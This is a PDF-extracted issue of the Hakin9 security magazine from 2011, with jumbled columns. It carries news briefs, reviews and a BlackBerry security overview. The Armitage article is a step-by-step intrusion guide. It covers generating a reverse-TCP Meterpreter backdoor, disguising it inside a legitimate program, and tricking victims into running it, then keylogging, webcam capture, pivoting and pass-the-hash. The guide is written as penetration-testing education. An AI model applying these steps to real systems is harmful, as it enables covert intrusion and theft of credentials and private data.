02/2011 (37)

PRACTICAL PROTECTION IT SECURITY MAGAZINE

Dear Readers,
We always try to meet your expectations and follow the
most recent issues in the IT security field. Based on the
most popular discussions among IT security experts and the
team
results of the survey on our website, we decided that network
security would be one of the most appreciated topics.
Editor in Chief: Karolina Lesińska In this issue you will find several topics with a strong focus
[email protected]
on network security. Our ID fraud expert – Julian Evans talks
about network security in terms of data breaches with an
Editorial Advisory Board: Matt Jonkman, Rebecca Wynn,
Steve Lape, Shyaam Sundhar, Donald Iverson, Michael Munt emphasis on protecting our personal and financial information.
Matt Jonkman warns you about the so called 100% secure
DTP: Ireneusz Pogroszewski
Art Director: Ireneusz Pogroszewski products. In the Defense section Mohsen shows you how to
[email protected] scan your network using Nmap.
Proofreaders: Allan Konar, Michael Munt I would also recommend you to take a look at the article
about data security on Blackberry devices by Yury Chemerkin.
Top Betatesters: Rebecca Wynn, Bob Folden, Shyaam Sundhar, You will find an introduction to Blackberry and its security
Steve Hodge, Nick Baronian.
aspect in Basic section.
Special Thanks to the Beta testers and Proofreaders who helped We have also prepared some useful info on certifications,
us with this issue. Without their assistance there would not be a since it has become a must-have for all who wants to be in the
Hakin9 magazine.
IT security field.
Senior Consultant/Publisher: Paweł Marciniak

CEO: Ewa Łozowicka Enjoy your reading

[email protected]
Editor in Chief: Karolina Lesińska
Editor-in-Chief
Production Director: Andrzej Kuca
[email protected]

Marketing Director: Karolina Lesińska

[email protected]

Subscription: Iwona Brzezik

Email: [email protected]

Publisher: Software Press Sp. z o.o. SK

02-682 Warszawa, ul. Bokserska 1
REGULARS
Phone: 1 917 338 3631
www.hakin9.org/en
6 in Brief
Latest News From the IT Security World
Whilst every effort has been made to ensure the high quality of
Armando Romeo, eLearnSecurity
the magazine, the editors make no warranty, express or implied, ID Theft Protect
concerning the results of content usage.
All trade marks presented in the magazine were used only for
informative purposes. 8 Tools
Wuala – Secure Online Storage
All rights to trade marks presented in the magazine are by Michael Munt
reserved by the companies which own them.
To create graphs and diagrams we used program
by 9 Book review
A Beginners Guide to Ethical Hacking
The editors use automatic DTP system by Shyaam Sundhar
Mathematical formulas created by Design Science MathType™

36 ID fraud expert says...

DISCLAIMER! Network Security – Data Breaches
The techniques described in our articles may only by Julian Evans
be used in private, local networks. The editors
hold no responsibility for misuse of the presented
techniques or consequent data loss. 40 Emerging Threats
What is Good Enough Coverage?
by Matthew Jonkman

4 02/2011
 CONTENTS

BASICS
10 A Security System That Changed The World
by Yury Chemerkin
Enterprise data is a valuable corporate asset, and therefore ensuring
it’s over integrity is an issue of superior business cycle model to any
commercial or government organization.

ATTACK
14 Get in Through the Backdoor: Post Exploitation with
Armitage
by Raphael Mudge
IT professionals have a dated image of hacking. Many picture the process as
running nmap, finding an exploit, and running it to compromise a server. This
romantic scenario was alive around 2003, but it has since gone out of style.

18 Breaking The Code: Brute Forcing The Encryption Key

by Rich Hoggan
There’s no way around it, cryptography is an aspect of our digital lives
that’s becoming more and more prevalent. It’s because we interact in a vast
social network that is the internet.

DEFENSE
22 Is Data Secure on the Password Protected
Blackberry Device?
by Yury Chemerkin
People who have ever heard of password utility think the usage of it can
protect their private data. There are, however, several ways to steal a lot of
information in spite of the fact that device locked by password. These ideas
are not complicated to first-time malware developer.

30 Examine your Network With Nmap. What is network

Scanning?
by Mohsen Mostafa Jokar
Network scanning is an important part of network security that any system
administrator must be comfortable with. Network scanning usally consists
of a port scanner and vulnerability scanner.

CERTIFICATIONS
42 Exploring GCIH Certification for Fun and Employability
by Alexandre Teixeira
Do you remember the time when you used to read a lot of underground e-
zines? How many years of professional experience do you have? These
really count. Enhance your skill set by challenging this certification exam!

48 Certification Smart?
by Douglas Chick
A job in computers is a position of experience; if you don’t have experience
the next best thing is a computer certification.

www.hakin9.org/en 5
 In brief

code execution beside hardware DEP implemented in

STUXNET CREATORS NOT SO ELITE? iPhone 4. This makes exploitation possible, however
Everyone knows what Stuxnet is and if you don’t you no one until now took the time to reverse engineer the
probably missed the most discussed and much praised firmware binaries and uncover many, many unchecked
worm of the past few years. memory copies through memcpy().
The worm targeting Siemens systems, controlling The possibilities of running a payload on poorly coded
critical power infrastructures, has been subject of deep phones Baseband firmware was also mitigated by the
analysis by researchers to uncover who’s behind it and costs involved in having malicious BTS, base stations
who the final target was. usually operated by carriers, required for the exploitation
Both of the above questions had readily found an to take place.
answer: at least according to the authoritative Times, It’s The researcher, demoed a remote code execution
been a joint effort between US and Israel governments, against a mobile phone through $1250 worth of
to destroy alleged Iranian projects to build a nuclear equipment simulating a BTS through the OpenBTS
arsenal. code, an open source project on purpose.
Although the goal has not been reached, Iranian path A price that can be afforded by the majority of the
to having nuclear bombs has been set back by 2 years, criminals out there considering the potential outcome
as President Obama, although skirting the Stuxnet presumed by Weinmann: eavesdropping conversations,
issue, stated in an interview regarding Iran. stealing corporate passwords, installing rootkits,
The much hyped Stuxnet, dubbed as the most propagating worms, bricking phones and so on.
sophisticated worm ever, has also been subject of
analysis of Tom Parker. Tom is a security researcher Source: Armanod Romeo,
who has presented his own analysis and view of the www.elearnsecurity.com
Stuxnet case at BlackHat DC.
For the first time, someone states that Stuxnet worm BLOGGER AND RESEARCHER DANCHEV
is not so elite as everybody thought in the beginning and DISAPPEARED IN BULGARIA
probably media played an important role in the matter. Famous ZDNet blogger Dancho Danchev is missing
Still according to Parker, too many mistakes (have been) since August 2010 and no one seems to be able to
made and too many logic flaws made things go wrong. contact him since October. The ZDNet ZeroDay blog
Parker seconded the hypothesis according to which code co-author Ryan Naraine has made the news public in
was produced by two separate groups: one building the hope that someone might respond with hopefully good
core of it and another, much less experienced, providing news about the disappearance.
the exploits and the command and control code. One of the hypothesis are that Danchev, Bulgarian,
Another security expert, Nate Lawson, considers was being spied by someone due to his researches in
Stuxnet code nothing more elite than any other malware the cyber underground of his native country. Pictures of
around, not even implementing advanced obfuscation the spy-equipment found in his bathroom were taken
techniques such as anti-debugging routines. by the blogger and handed to a trusted third party
to be published in case something bad happened.
Source: Armanod Romeo, The pictures are now online and serve, according to
www.elearnsecurity.com Danchev’s letter, to demonstrate who was after him.
Although pictures are not clear about what kind of spy
ANOTHER (SERIOUS) MOBILE PHONE equipment that was, lack of news from the person and
HACK: BASEBAND HACKING internet word of mouth are building a mythological spy
If you thought this was another GSM hacking story around the case.
announcement you are wrong. Most recent news, from a Bulgarian newspaper, talks
This is a completely new hacking vector, a new about Danchev being confined in a psychiatric hospital.
exploitation door opened by researcher Ralf-Philipp All the news are fragmentary and not confirmed and as
Weinmann. such should be treated.
Every smartphone has a multi-cpu architecture with
an Application processor and a Baseband processor, Source: Armanod Romeo,
both ARM CPU’s and implemented in a single chip. www.elearnsecurity.com
While Application processors deal with the execution of
the phone tasks, Baseband deals with the protocols in GOOGLE PAYING FOR HIGH RISK CHROME
the air: GSM, UMTS… VULNERABILITIES
According to Ralf, firmware code for the Baseband Google has managed to make private vulnerabilities
was created in 90s and there’s almost no mitigation for disclosure a legal and even fun activity for researchers.

6 02/2011
 In brief

Full disclosure is well gone and nowadays companies

are more and more willing to pay for responsibly OHIO STATE UNIVERSITY DATA BREACH
disclosed vulnerabilities in their products. Google being During a routine IT security review in late October
among the very first. 2010, Ohio State University discovered that
The opportunity for vendors is huge: they can cut unauthorized people had logged onto a server
down the costs of out of band patches while having a that contained information on current and former
bunch of researchers readily providing proof of concepts faculty, students and staff, applicants, and others
of vulnerabilities without having much bad press for with university ties. That data included name, Social
exploits in the wild. Security number (SSN), date of birth, and address. A
According to Google, more than $14,000 have been forensic investigation led security experts to conclude
paid until now to researchers who reported critical that the access was set up to launch cyber attacks
vulnerabilities in Google Chrome. Not a big amount at against other businesses on the Internet and that no
all if you consider the costs involved in consultancy, or records were actually taken.
in hiring a bunch of talented testers.
Sergey Glazunov, researcher who has found several Source: ID Theft Protect
critical vulnerabilities in Chrome, has received an elite
award early this month: $3133.7. More than just money: RUSTOCK BOTNET IS BACK WITH A
an elite bank account statement to show to all the VENGEANCE
friends. Spam levels have resumed after a precipitous drop
in December, but without the innovations security
Source: Armanod Romeo, specialists had feared might be imminent. In December,
www.elearnsecurity.com spam levels declined dramatically and continued at
relatively minuscule levels from 25 December 2010 to 9
MICROSOFT IE8 EMET VULNERABILITY January 2011. The security community speculated that
ID Theft Protect is aware of a vulnerability affecting this might be because the criminal gangs behind the
Microsoft Internet Explorer 8. This vulnerability is due botnets and the spammers who are their clients were
to improper handling of circular memory references. thinking up new schemes.
Exploitation of this vulnerability may allow an attacker But spam levels bounced back overnight on 10
to execute arbitrary code in the context of the user or January with no sign of a change in tactics. An increase
cause a denial-of-service condition. of about 98 per cent in volume has pushed spam back
At this time, the vendor has not released a fix or up to normal levels – some 90 per cent of all traffic. This
a workaround to address this vulnerability. Users was mostly down to the activity of Rustok, the world’s
and administrators are encouraged to consider biggest botnet, output from which plunged after a late
implementing the mitigations provided in Microsoft’s splurge on 24 December. Security researchers say
Enhanced Mitigation Experience Toolkit (EMET). These the decline and resumption of spam may be due to a
mitigations will not rectify the vulnerability but will make temporary lack of clients for Rustok.
exploitation of the vulnerability more difficult.
Source: ID Theft Protect
Source: ID Theft Protect
SMS SMISHING SCAM IDENTIFIED
OBAMA EYES INTERNET IDS FOR US A new security risk has crept into the world of online
CITIZENS shopping, and it combines the trickery of phishing
President Obama is planning to hand the U.S. Commerce scams with the ease and availability of text messages.
Department authority over a forthcoming cybersecurity Called smishing the scam is a nefarious update to
effort to create an Internet ID for Americans, a White the traditional phishing hoax; rather than sending
House official said here today. It’s the absolute perfect the phishing bait – a legitimate-looking offer from a
spot in the U.S. government to centralize efforts toward supposedly trusted source such as a bank – through
creating an identity ecosystem for the Internet, White e-mail, the message is sent via SMS (text). The victim
House Cybersecurity Coordinator Howard Schmidt said. is told in the text that an urgent bank matter needs to
That news, first reported by CNET, effectively pushes the be discussed; the text instructs the recipient to call
department to the forefront of the issue, beating out other a toll-free number and provide their account number
potential candidates, including the National Security and password to a fake automated voice-response
Agency and the Department of Homeland Security. system.

Source: ID Theft Protect Source: ID Theft Protect

www.hakin9.org/en 7
 TOOLS

Wuala – Secure Online Storage

There are a lot of online storage/backup solutions available
nowadays and it is hard to find differences between them,
but I think Wuala from LACIE may have something unique in
the way their solution works.

Trading your data publicly, then you are able to utilise all the
You start off with 1GB free and you can either purchase social bookmarks from all your favourite sites that are
more space or trade up to gain more. By trade I mean included with the application.
you offer space from your machine for LACIE to store
parts of other peoples files locally on your machine. Extra Features for Pro users
How it works is quite simple actually, by multiplying For those of you who decided to go for the Pro option,
your offered storage against the amount of time you there are some excellent additions to your service.
are online will give you the extra online space so you
aren’t really losing the drive space, instead your gaining Backup
access to your files wherever you are. By creating a folder where you can just drag and drop
You can offer upto 100GB and if your online 50% of data onto and know it is automatically uploaded to Wuala
the time, you would gain 50GB of online storage. for safekeeping is a great feature, and will give peace of
For every friend you invite and they sign up you mind to those who have a habit of accidentally deleting
will gain 250MB (free user) all the way upto 3GB. If a file or folder. You can also setup scheduling on this
you decided to become a pro user this bonues then folder so you will know everything in there will always be
becomes 500MB and goes upto 6GB. regularly backed up and kept safe. Don’t forget as its a
folder you can share this with anyone and everyone.
Data Security
By encrypting the data locally before its even Sync
transmitted up to the cloud storage not even the staff When you create a sync folder, every time you drag and
at LACIE will be able to view your files. Your files are drop something new into here it will appear on all your
split into multiple pieces and then stored in multiple other machines where you are using Wuala, so this will
places so that your data will never be lost. Even your be of great use to all those people who regularly use
password never leaves your computer. (I checked this more than one machine on a day to day basis.
claim by running wireshark whilst logging in and adding
files to my storage, and I was unable to see any details File Versioning
referencing my passwords or data in any of the traffic If your like me there will be times when you will name
capture) files the same name and then overwrite the wrong file
at the wrong time. By having the file versioning you are
Data able to literally skip backwards in time to access the file
There are three types of sharing available to you. at an earlier time. Before you made the mistake in the
first place.
• Private (where you and only you have access)
• Shared (where you have setup friends and or Conclusion
groups to be allowed access) Considering that this is still in Beta, Wuala has some
• Public (the whole world can see your files) excellent strong features that make it a superb option to
all us users out there that always need somewhere to
Sharing your data couldn’t be easier, just a simple case safely store our pictures, videos and our documents. I
of right mouse click and select share. Then you are was very grateful to test this product and will continue to
presented with the option on how you wish to share, use it long into the future.
public or private. Finally you can decide to share via a URL: http://www.wuala.com
weblink or even send your friends and family an email
with the link included. If you had decided to share MICHAEL MUNT

8 02/2011
 Book review

A Beginners Guide
to Ethical Hacking

URL: www.hacking-book.com
Author: Rafay Baloch
Cost: $20

A
Beginners Guide to Ethical Hacking is a great means finding the resources you need, when you
resource for people interested in ethical (white- need them. And this book does just that.
hat) hacking. It is targeted at „beginners”, but The author then moves on to hacking and cracking
some „intermediate” users may find value in this book of passwords, Microsoft Windows OS, Wi-Fi, and
as well. websites. In the website section, the author details the
Some people think that there is nothing ethical about web-application side of hacking, then covers malware
hacking – I think that there is nothing ethical about and virii. This book not only helps you learn the hacking
attacking, but hacking can almost always be done (or offense) side of information security, but also the
ethically. Hackers are thinkers who seek to determine anti-hacking (or defense, or counter-measures) side
their limitations through challenging their skills, and of the coin, detailed in the last chapter. By providing a
this book serves to educate readers about how they good balance of both offense and defense, the reader
can challenge themselves in an ethical way. is presented with the tools needed to make accurate
The book starts by defining the ethical boundaries and educated decisions regarding not only ethical
of hackers – what the cognoscenti considers too far. hacking, but also how to properly secure themselves
It then quickly jumps into the realm of programming when doing business online.
and how code-writing can be leveraged to achieve the
readers’ goals. Some might argue that programming or Overall, I give this book a thumbs-up!
reverse-engineering is old school, and the new school
is all about root, but just like in school, you have to
start with the Introduction to classes before you can
move on to the Advanced ones. A solid foundation
makes for a sturdy building. Programming doesn’t
mean learning a coding language from scratch, it SHYAAM SUNDHAR

www.hakin9.org/en 9
 BASICS

A Security System
That Changed The World
Enterprise data is a valuable corporate asset, and therefore
ensuring it’s over integrity is an issue of superior business cycle
model to any commercial or government organization.

What you will learn… What you should know…

• Design of BlackBerry Enterprise Solution • basic knowledge about networking
• Mobile malware tendency

S
ecurity is the cornerstone of the BlackBerry In opposition to BES environment where the end-users
legendary security system, allowing users to have an amount of control, but security is usually
confidently access sensitive information at all performed by the enterprise by an IT Policy. Here’s a
times. custom list of BES features, from RIM:
The BlackBerry devices, BlackBerry-enabled devices
and supporting technology are developed by Research • Wirelessly synchronize their email, calendar,
In Motion (RIM), a Canadian software and hardware contacts, notes and tasks
company based in Waterloo, Ontario. • Manage email folders and search email on the mail
Special selling feature is that it provides an server remotely
integrated wireless messaging system, providing • Book meetings and appointments, check availability
push email access over cellular wireless networks and forward calendar attachments
throughout the world. Another major factor in the • Set an out-of-office reply
BlackBerry’s popularity is its comprehensive approach • Edit Microsoft Word, Excel and PowerPoint files
to security. BlackBerry devices are diversified, and using Documents To Go
can be used for a various functions including such • Access files stored on the company network
ordinary functions like telephony, SMS, MMS, email, • Use mobile applications to access business
photos, videos, music, and web-browsing amongst systems behind the firewall
other things.
End-users are divided into two categories. The following table identifies the features available with
the BlackBerry Internet Service and the BlackBerry
• End-user consumers who bought their own Enterprise Server.
BlackBerry devices, who uses BlackBerry Internet BlackBerry smartphone applications include inherent
Service (BIS) virus protection and spyware protection that is designed
• Enterprise end-users who are given the use of a to contain and prevent the spread of viruses and spyware
BlackBerry by their employers with another service to other applications. Application controls are available on
called BlackBerry Enterprise Solution (BES). BlackBerry smartphones that are running on a BlackBerry
Enterprise Server or on the BlackBerry Internet Service.
The first environment make an end-users are BlackBerry smartphone users can use the application
responsible for the any security measure configuration. controls on their BlackBerry smartphones to prevent the

10 02/2011
 A Security System That Changed The World

installation of specific third-party applications and to limit mobile users with access to email, enterprise instant
the permissions of third-party applications. messaging and personal information management
tools. All data between applications and BlackBerry
BlackBerry Enterprise Solution smartphones flows centrally through the server.
The BlackBerry Enterprise Solution (consisting of a Learn more about BlackBerry integration with
BlackBerry smartphone, BlackBerry Device Software, • IBM Lotus Domino and IBM Lotus Sametime
BlackBerry Desktop Software, and the BlackBerry • Microsoft Exchange and Microsoft Office Live
Enterprise Server) is designed to protect organization Communications Server 2005
from data loss or alteration while a BlackBerry • Novell GroupWise and Novell GroupWise Messenger
smartphone user is sending and receiving, reading and • BlackBerry Smartphones – Integrated wireless
typing messages and accessing your organization’s voice and data devices that are optimized to work
data over the wireless network using the BlackBerry with the BlackBerry Enterprise Solution. They
smartphone. In other words solution is designed so provide push-based access to email and data from
that data remains encrypted at all points between the enterprise applications and systems in addition to
BlackBerry smartphone and the BlackBerry Enterprise web, MMS, SMS and organizer applications. Learn
Server. Only the BlackBerry Enterprise Server and more about BlackBerry smartphones
the BlackBerry smartphone can access the data that • Devices with BlackBerry Connect software
they send between them, while third-parties, including (BlackBerry-enabled Devices) – Devices available
service providers, cannot access potentially sensitive from leading manufacturers that feature BlackBerry
organization information in a decrypted format. push delivery technology and connect to the
The BlackBerry Enterprise Solution is a flexible, IT- BlackBerry Enterprise Server*.
friendly solution that gives mobile users secure wireless
access to their enterprise email and business-critical While the BlackBerry technology has a comprehensive
applications. The key elements of the BlackBerry embedded security system at all levels it’s still
Enterprise Solution architecture include: susceptive to a range of attacks. Attacks, in whatever
types, will confer power to design devices are being
• BlackBerry Enterprise Server – Robust software backdoored allowing any data (especially confidential
that acts as the centralized link between wireless data) to be exported from various blackberry handhelds.
devices, wireless networks and enterprise By the way, it’s being used to build covert channels
applications. The server integrates with enterprise for attackers, in spite of exploits are digitally signed or
messaging and collaboration systems to provide not. Also, the efficiency and success of such attacks

��������
���������
�������
�����
������� ����������������������������
��������

������������������
�������
������������������
������� ������������������
�������
������� �������
��������� ���������
������� �������
�����������������
�����������������

����������
�����������
����������
����������
�����������
�����������
������������������� ��������������

Figure 1. BlackBerry Enterprise Solution

www.hakin9.org/en 11
 BASICS

On The ‘Net
• http://docs.blackberry.com/en/admin/deliverables/12077/BlackBerry_Enterprise_Server_for_Microsoft_Exchange-Feature_and_
Technical_Overview-T305802-817456-1102035401-001-5.0.1-US.pdf – BlackBerry Enterprise Server for Microsoft Exchange. Ver-
sion: 5.0. Feature and Technical Overview, RIM,
• http://docs.blackberry.com/en/admin/deliverables/12035/Security_Technical_Overview.pdf – BlackBerry Enterprise Solution
Version: 5.0. Security Technical Overview, RIM,
• http://www.comscore.com/Press_Events/Press_Releases/2010/2/comScore_Reports_December_2009_U.S._Mobile_Subscriber_
Market_Share/(language)/eng-US – December 2010 U.S. Mobile Subscriber Market Share, comScore, 2010,
• http://www.comscore.com/Press_Events/Press_Releases/2010/3/comScore_Reports_January_2010_U.S._Mobile_Subscriber_
Market_Share/(language)/eng-US – January 2010 U.S. Mobile Subscriber Market Share, comScore, 2010,
• http://www.comscore.com/Press_Events/Press_Releases/2010/4/comScore_Reports_February_2010_U.S._Mobile_Subscriber_
Market_Share/(language)/eng-US – February 2010 U.S. Mobile Subscriber Market Share, comScore, 2010,
• http://www.comscore.com/Press_Events/Press_Releases/2010/9/comScore_Reports_July_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports July 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/11/comScore_Reports_September_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports September 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/10/comScore_Reports_August_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports August 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/12/comScore_Reports_October_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports October 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/6/comScore_Reports_April_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports April 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/9/comScore_Reports_July_2010_U.S._Mobile_Subscriber_Market_
Share – comScore Reports July 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/7/comScore_Reports_May_2010_U.S._Mobile_Subscriber_Market_
Share – comScore Reports May 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/3/comScore_Reports_January_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports January 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/4/comScore_Reports_February_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports February 2010 U.S. Mobile Subscriber Market Share
• http://www.comscore.com/Press_Events/Press_Releases/2010/5/comScore_Reports_March_2010_U.S._Mobile_Subscriber_
Market_Share – comScore Reports March 2010 U.S. Mobile Subscriber Market Share

depends on the configuration of existing security everybody communicates with each other during
controls, i.e. Firewall and IT Policy rules (see Figure 1). the past several years. The growing use of it has
made a good background for re-engineering range
Malware development background of malwares that identical to PC-malware types, like
The development of mobile together with wireless viruses, worms, trojans, backdoors, and adwares.
technologies has evidently improved the way There were major factors requisite for attack on the

Figure 2. ComScore market trend analysis (09.2009 – 10.2010)

12 02/2011
 A Security System That Changed The World

Table 1. comScore market trend analysis (09.2009 – 10.2010)

Producer September November December January February April 2010 July 2010 October
2009 2009 2009 2010 2010 2010
RIM 42,60% 41,60% 40,80% 43,00% 42,10% 41,10% 39,30% 35,80%
Apple 24,10% 25,30% 25,50% 25,10% 25,40% 25,10% 23,80% 24,60%
Microsoft 19,00% 18,00% 19,10% 15,70% 15,10% 14,00% 11,80% 9,70%
Google 2,50% 5,20% 3,80% 7,10% 9,00% 12,00% 17,00% 23,50%
Palm 8,30% 6,10% 7,20% 5,70% 5,40% 4,90% 4,90% 3,90%

smartphone. However, it didn’t happen. This was due Displaced Nokia surrendered the initiative to the RIM,
to the rapid changing situation on the mobile handset Apple and Google. According to comScore market
market. In spite of Symbian was leading for two years trend analysis RIM is in lead (see Table 1).
smartphone producers could shift industry-leading Because of security is the cornerstone of the
Nokia in favour of Windows Mobile (Microsoft) and BlackBerry legendary security system most of
BlackBerry (RIM). consumers prefer BlackBerry smartphones to another
Faced with the lack of a market leader in mobile like iPhone or Android. Cursory acquaintance with the
operating systems and as a consequence, the BlackBerry Solution shows us various products and
impossibility of a simultaneous attack on the majority of components that are designed to extend organization’s
users, malware writers had to try to solve the problem communication methods to BlackBerry devices.
of cross-platform. Solution was the use of Java Micro The BlackBerry Solution is designed to help protect
Edition. It’s the well-known fact that almost all modern data that is in transit at all points between a device
phones have Java support and allow you to run Java- and the BlackBerry Server. To help it devices use
based applications that can be easily downloaded from symmetric key cryptography to encrypt the data sent
the Internet. Java-based malware made significant between them. Solution uses confidentiality, integrity,
contribution in damage area increasing by involving not and authenticity, which are principles for information
only smartphones users, but also almost every owner of security, to help protect your organization from data
a mobile phone. loss or alteration.
Exemplary malware to do list of realizable actions is
below: YURY CHEMERKIN
Graduated at Russian State University for the Humanities
• Spreading via Bluetooth and MMS, (http://rggu.com/) in 2010. At present postgraduate at RSUH.
• Sending SMS, MMS, Security Analyst since 2009 and currently works as mobile
• Making backdoor background, security researcher in Moscow.
• Blocking antivirus actions, E-mail: [email protected].
• Stealing confidential information, etc. Facebook: http://www.facebook.com/people/Yury-Chemerkin/
100001827345335.

a d v e r t i s e m e n t

Subscribe to our newsletter

and stay up to date with all
news from Hakin9 magazine!

http://hakin9.org/newsletter
 ATTACK

Get in through the backdoor:

Post exploitation with Armitage
IT professionals have a dated image of hacking. Many picture the
process as running nmap, finding an exploit, and running it to
compromise a server.

What you will learn… What you should know…

• How to attack a network without a memory-corruption • Basic Metasploit use
exploit
• Tricks to seize internal hosts and keep your network access
• Ways to use the powerful Armitage user interface with
Metasploit

T
his romantic scenario was alive around 2003, single memory corruption exploit. Does this sound like
but it has since gone out of style. Patch fun? Keep reading.
management, secure software development,
and other good practices have changed the game. Armitage
Rather than attacking services, the easiest way in to a Armitage is a new interface for Metasploit [2]. Metasploit,
network is usually through the users. as you know, is the popular open source exploitation
Using Armitage [1], this article will show you tactics framework. Metasploit provides tight integration
used to break the security of modern organizations. between scanners, evasion techniques, exploits, and
You’ll learn how to bypass the perimeter defenses payloads.
through a social engineering attack. We’ll then cover One of the most powerful Metasploit payloads is
how to use this foothold to pivot through the network Meterpreter. Meterpreter provides post-exploitation
and take over more hosts. More over, we will not use a capabilities to you. With Meterpreter: you can work with
files, route connections through the current host, and
dump password hashes. Meterpreter is just a payload

Figure 1. Armitage User Interface Figure 2. Payload Generation Dialog

14 02/2011
 Get in through the backdoor: Post exploitation with Armitage

though. You need to use an exploit (or clever social If you run your program now, it will try to connect to
engineering) to get it on to a host. your attack computer, fail, and close. It fails because
Armitage is organized around the attack process. your attack computer is not listening for a connection.
You can import hosts or scan targets through the hosts Go to Armitage->Listeners->Reverse Listeners. Type in
menu. You can use the Attacks->Find Attacks menu to the port number (e.g., 80) and click Listen. You attack
get intelligent exploit recommendations based on scan computer is ready to receive connection attempts from
data. This article won’t use exploits, but know that this your backdoor program.
functionality is there. You need to know what you can To get access to your target you will need to convince
do next after you get access. Armitage helps you by a target to run your program.
providing a user-interface to Meterpreter. We’ll cover You can provide your targets with your executable
post-exploitation through Armitage in the rest of this as-is. Sometimes this is enough. However, users may
article (see Figure 1). become suspicious when the program you provide
Figure 1 shows the Armitage user interface. The top seemingly does nothing when run. If you care about
left is the module browser. Through the module browser being stealthy, you may want to add Meterpreter to
you can access Metasploit’s payloads, exploits, and another program.
auxiliary modules. The top right is the target area.
Armitage displays the current hosts and any sessions Create a Backdoor
you have in the target area. A compromised host One technique to combine two programs is to use
appears red with lightning bolts surrounding it. The IExpress 2.0 from Microsoft. IExpress 2.0 combines
bottom is the tabs area. Armitage opens each console, multiple programs into a self-extracting and self-running
browser and dialog in its own tab. executable. The combined programs silently run in
sequence. Figure 3 shows IExpress 2.0 after you first run
Create a Payload it. Part of hacking is repurposing legitimate functionality for
Exploits are not always reliable. Why use one when your nefarious purposes. This is a great example of that.
your target will run your post-exploitation program for You can abuse this tool to add Meterpreter to any
you. Let’s use Armitage to create an executable of program you choose. I first read about this technique on
Meterpreter. Mubix’s blog [3] (see Figure 3).
Navigate to payloads/windows/meterpreter/reverse_tcp in To run IExpress 2.0, go to Start->Run in Windows,
the module browser and double click it. Figure 2 shows and type: iexpress. Answer the questions it asks and
the dialog that you will see. Double click a value to edit you will have a combined program, ready to run. The
it. The LPORT value is the port your executable will program output by IExpress 2.0 has its own icon. Use
communicate back to. Change it to something common, the IcoFx [4] icon editor to replace this icon with the icon
like 80. Select exe for the output type and click launch. from the original program. Tape’s blog [5] discusses
Armitage will ask you where to save the executable. I how to do this.
like backdoor.exe.
You now have a post-exploitation program that will Post Exploitation
connect to your attack computer on port 80 when run Get your victim to run your backdoored executable. If
(see Figure 2.). everything works correctly you will see a red computer
surrounded, as in Figure 4, by lightning bolts in the
target area of Armitage.
Right-click this compromised computer and navigate
to the Meterpreter menu. Each Meterpreter session will

Figure 3. IExpress 2.0 from Microsoft (thanks guys!) Figure 4. Ownership Achieved

www.hakin9.org/en 15
 ATTACK

have its own menu item. The access menu is where you on the network you’ve compromised. Go to Armitage-
will dump hashes, escalate privileges, and duplicate >SOCKS Proxy and click Launch to activate the proxy
your access. server.
If possible, I recommend using this duplicate option.
Armitage will upload and execute another Meterpreter Discovery Scans
instance so you have two sessions. If something Now you have access the internal network of your victim.
happens to one of your sessions, you will still have You should scan and see what is there. Metasploit
access. has many auxiliary modules to identify services and
Use the interact menu to open a Windows command fingerprint hosts. Go to Hosts->MSF Scans and enter
shell or a Meterpreter shell. Use explore to access the the address of the network you want to scan. Armitage
local system. Here you can browse the file system, view will launch 19 discovery modules and record its findings
a process list, start a key logger, take a screenshot, or in the Metasploit database. New hosts will show up in
even take a picture with any built-in camera. Armitage the target area as they’re discovered. These scans will
adds extra features to what Meterpreter already take advantage of the pivoting you have set up (see
offers. For example, the webcam and screenshot can Figure 6).
automatically refresh every 10 seconds, if you choose
to activate this option. Attack: Pass the Hash
Here we’ve covered some of your system level Now that you have discovered hosts on the internal
post exploitation options. Your next two concerns are network, it’s time to attack them. When you login to a
compromising more hosts and persisting your access. Windows host, your password is hashed and compared
to a stored hash of your password. When they match,
Pivoting you’re able to login. When you attempt to access a
You need internal network access before you can resource on the same Windows domain, this stored
compromise other internal osts. Metasploit has a hash is sent to the other host and used to authenticate
powerful feature, called pivoting, that lets you tunnel you. You can use captured hashes to authenticate to
traffic through an active Meterpreter session. To set other hosts on the same Windows domain. This is a
up pivoting: right-click a compromised host, go to pass-the-hash attack.
Meterpreter 1->Pivoting->Add Pivot. A dialog similar to You need administrative privileges to dump hashes
Figure 5 will appear. Select a local network from this on a Windows host. To escalate privileges in Armitage,
dialog. Armitage will tell Metasploit to route all traffic right-click the compromised host, and go to Meterpreter
destined for that host through the existing meterpreter N->Access->Escalate Privileges. Metasploit will try
session. As you discover hosts, Armitage will draw a several Windows privilege escalation techniques. A
line from the pivot host to hosts that match this pivot dialog will tell you the process succeeded or failed.
you created. Right-click the compromised host, go to Meterpreter
